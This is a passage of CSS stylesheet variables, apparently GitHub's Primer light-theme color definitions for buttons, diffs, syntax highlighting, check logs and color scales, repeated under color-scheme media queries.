rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=light]{--color-canvas-default-transparent: rgba(255,255,255,0);--color-page-header-bg: #f6f8fa;--color-marketing-icon-primary: #218bff;--color-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg: rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: 